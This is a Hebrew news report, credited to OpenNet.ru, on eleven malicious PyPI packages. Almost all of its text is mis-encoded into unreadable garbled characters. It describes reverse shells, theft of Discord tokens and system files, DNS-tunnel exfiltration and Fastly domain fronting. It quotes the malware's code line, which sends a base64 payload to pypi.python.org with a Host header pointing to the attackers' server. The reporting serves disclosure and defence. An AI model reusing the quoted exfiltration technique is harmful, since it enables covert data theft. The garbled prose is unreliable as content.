ืืกืคืจืืืช PyPI (Python Package Index) ืืืื 11 ืืืืืืช ืืืืืืืช ืงืื ืืืื ื. ืืคื ื ืฉืืืื ืืขืืืช, ืืืืืืืช ืืืจืื ื-38 ืืืฃ ืคืขืืื ืืกื ืืื. ืืืืืืืช ืืืืื ืืืช ืฉืืืื ืืืืืืช ืืฉืืืืฉ ืฉืืื ืืฉืืืืช ืืชืืืืืืช ืืืกืชืจืช ืขืจืืฆื ืชืงืฉืืจืช ืขื ืฉืจืชื ืืชืืงืคืื.
- importantpackage (6305 ืืืจืืืช), important-package (12897) - ืืฆืจ ืืืืืจ ืืฉืจืช ืืืฆืื ื ืืืกืืื ืฉื ืืืืืจ ื-pypi.python.org ืืื ืืกืคืง ืืืฉื ืฉื ืืขืืคืช ืืืขืจืืช (ืืขืืคืช ืืคืืื) ืืืฉืชืืฉ ืืชืืื ืช trevorc2 ืืื ืืืกืชืืจ ืืช ืขืจืืฅ ืชืงืฉืืจืช.
- pptest (10001), ipboards (946) - ืืฉืชืืฉื ื-DNS ืืขืจืืฅ ืชืงืฉืืจืช ืืืขืืจืช ืืืืข ืขื ืืืขืจืืช (ืืืืืื ืืจืืฉืื ื ืฉื ืืืืจื, ืกืคืจืืืช ืืขืืืื, IP ืคื ืืื ืืืืฆืื ื, ืืฉื ื - ืฉื ืืืฉืชืืฉ ืืฉื ืืืืจื) .
- owlmoon (3285), DiscordSafety (557), yiffparty (1859) - ืืืื ืืช ืืกืืืื ืืฉืืจืืช ืฉื Discord ืืืขืจืืช ืืฉืืื ืืืชื ืืืืจื ืืืฆืื ื.
- trrfab (287) - ืฉืื ืืช ืืืืื, ืฉื ืืืืจื ืืืชืืื ืฉื /etc/passwd, /etc/hosts, /home ืืืืจื ืืืืฆืื ื.
- 10Cent10 (490) - ืืฆืจ ืืืืืจ ืืขืืคืช ืืคืื ืขื ืืืจื ืืืฆืื ื.
- yandex-yt (4183) - ืืฆืื ืืืืขื ืขื ืื ืฉืืืขืจืืช ื ืคืืขืช ืืืืคื ืชื ืืืฃ ืขื ืืืืข ื ืืกืฃ ืขื ืคืขืืืืช ื ืืกืคืืช ืฉืืื ืคืงื ืืจื nda.ya.ru (api.ya.cc).
ืจืืื ืืฆืืื ืืืืืื ืืช ืฉืืืช ืืืืฉื ืืืืจืืื ืืืฆืื ืืื ืืืฉืืฉืื ืืืืืืืช importantpackage ื- important-package, ืฉืืฉืชืืฉื ืืจืฉืช ืืฉืืื ืืชืืื Fastly ืืืฉืืฉืช ืืกืคืจืืืช PyPI ืืื ืืืกืชืืจ ืืช ืคืขืืืืชื. ืืืขืฉื, ืืงืฉืืช ื ืฉืืื ืืฉืจืช pypi.python.org (ืืืื ืฆืืื ืืฉื python.org ื-SNI ืืชืื ืืงืฉืช ื-HTTPS), ืื ืืืชืจืช ื-HTTP "Host" ืืืื ืืช ืฉื ืืฉืจืช ืฉื ืฉืื ืขื ืืื ืืชืืงืคืื (ืกืขืืฃ. forward.io. global.prod.fastly.net). ืจืฉืช ืืกืคืงืช ืืชืืื ืฉืืื ืืงืฉื ืืืื ืืฉืจืช ืืชืืงืฃ, ืชืื ืฉืืืืฉ ืืคืจืืืจืื ืฉื ืืืืืจ TLS ื-pypi.python.org ืืขืช ืืขืืจืช ื ืชืื ืื.
ืชืฉืชืืช PyPI ืืืคืขืืช ืขื ืืื ืจืฉืช ืืกืคืงืช ืืชืืื Fastly, ืืืฉืชืืฉืช ืืคืจืืงืกื ืืฉืงืืฃ ืฉื Varnish ืืื ืืฉืืืจ ืืงืฉืืช ืืืคืืกืืืช ืืืืืื, ืืืฉืชืืฉืช ืื ืืขืืืื ืืืฉืืจื TLS ืืจืืช CDN, ืืื ืืฉืจืชื ืืงืฆื, ืืื ืืืขืืืจ ืืงืฉืืช HTTPS ืืจื ืคืจืืงืกื. ืืื ืงืฉืจ ืืืืจื ืืืขื, ืืงืฉืืช ื ืฉืืืืช ื-proxy, ืฉืงืืืข ืืช ืืืืจื ืืจืฆืื ืืืืฆืขืืช ืืืชืจืช ื-HTTP "Host", ืืฉืืืช ืืืืืืื ืืืืจื ืงืฉืืจืื ืืืชืืืืช ื-IP ืฉื ืืืื ืืขืืืก ืฉื CDN ืืืืคืืื ืืืช ืืื ืืงืืืืช Fastly.
ืฉืจืช ืืชืืงืคืื ื ืจืฉื ืื ื-CDN Fastly, ืืืกืคืง ืชืืื ืืืช ืืื ื ืืืืื ืืืฃ ืืืคืฉืจ ืจืืฉืื ืื ืื ืืื. ืจืืื ืืฆืืื ืฉืืื ืืฉืืื ืืงืฉืืช ืืงืืจืื ืืขืช โโืืฆืืจืช "ืงืืืคื ืืคืืื", ื ืขืฉื ืฉืืืืฉ ืื ืืชืื ืืช, ืื ืืืืื ืืืฆื ืฉื ืืืืจื ืฉื ืืชืืงืฃ. ืืืืืฅ, ืืืื ืืจืืงืฆืื ืขื ืฉืจืช ืืชืืงืคืื ื ืจืืืช ืืื ืืคืขืื ืืืืืืืืช ืขื ืกืคืจืืืช PyPI, ืืืืฆืคื ืช ืืืืฆืขืืช ืืืฉืืจ PyPI TLS. ืืื ืืงื ืืืื, ืืืืืขื ืืฉื "ืืืืช ืืืืืื", ืฉืืืฉื ืืขืืจ ืืืืคื ืคืขืื ืืื ืืืกืชืืจ ืืช ืฉื ืืืืจื ืืขืช ืขืงืืคืช ืืกืืื, ืชืื ืฉืืืืฉ ืืืืืืช ืืืกืืคืงืช ืืืืง ืืจืฉืชืืช CDN ืืืฉืช ื-HTTPS ืขื ืืื ืฆืืื ืืืจื ืคืืงืืืื ื-SNI ืืืืขืฉื ืฉืืืืจ ืืฉื ืฉื ื-SNI ืืืืจื ืืืืืงืฉ ืืืืชืจืช ืืืจื HTTP ืืชืื ืืคืขืืช TLS.
ืืื ืืืกืชืืจ ืคืขืืืืช ืืืื ืืช, ื ืขืฉื ืฉืืืืฉ ื ืืกืฃ ืืืืืืช TrevorC2 ืืื ืืืฆืืจ ืืื ืืจืืงืฆืื ืขื ืืฉืจืช ืืืืื ืื ืืืื ืจืืื ืืืื ืืจื ื, ืืืืืื, ืืงืฉืืช ืืืื ืืืช ื ืฉืืื ืืืกืืื ืฉื ืืืจืืช ืืชืืื ื "https://pypi.python.org/images/ guid=" ืขื ืงืืืื ืืืืข ืืคืจืืืจ guid. url = "https://pypi.python.org" + "/images" + "?" + "guid=" + b64_payload r = request.Request(url, headers = {'Host': "psec.forward.io.global.prod.fastly.net"})
ืืืืืืืช pptest ื-ipboards ืืฉืชืืฉื ืืืืฉื ืฉืื ื ืืืกืชืจืช ืคืขืืืืช ืจืฉืช, ืืืชืืกืก ืขื ืงืืืื ืืืืข ืฉืืืืฉื ืืฉืืืืชืืช ืืฉืจืช ื-DNS. ืืชืืื ื ืืืืื ืืช ืืฉืืจืช ืืืืข ืขื ืืื ืืืฆืืข ืืงืฉืืช DNS ืืื "nu4timjagq4fimbuhe.example.com", ืฉืืื ืื ืชืื ืื ืืืืขืืจืื ืืฉืจืช ืืืงืจื ืืงืืืืื ืืืืฆืขืืช ืคืืจืื base64 ืืฉื ืชืช-ืืืืืืื. ืืชืืงืฃ ืืงืื ืืช ืืืืืขืืช ืืืื ืขื ืืื ืฉืืืื ืืฉืจืช ื-DNS ืขืืืจ ืืืืืืื example.com.
ืืงืืจ: OpenNet.ru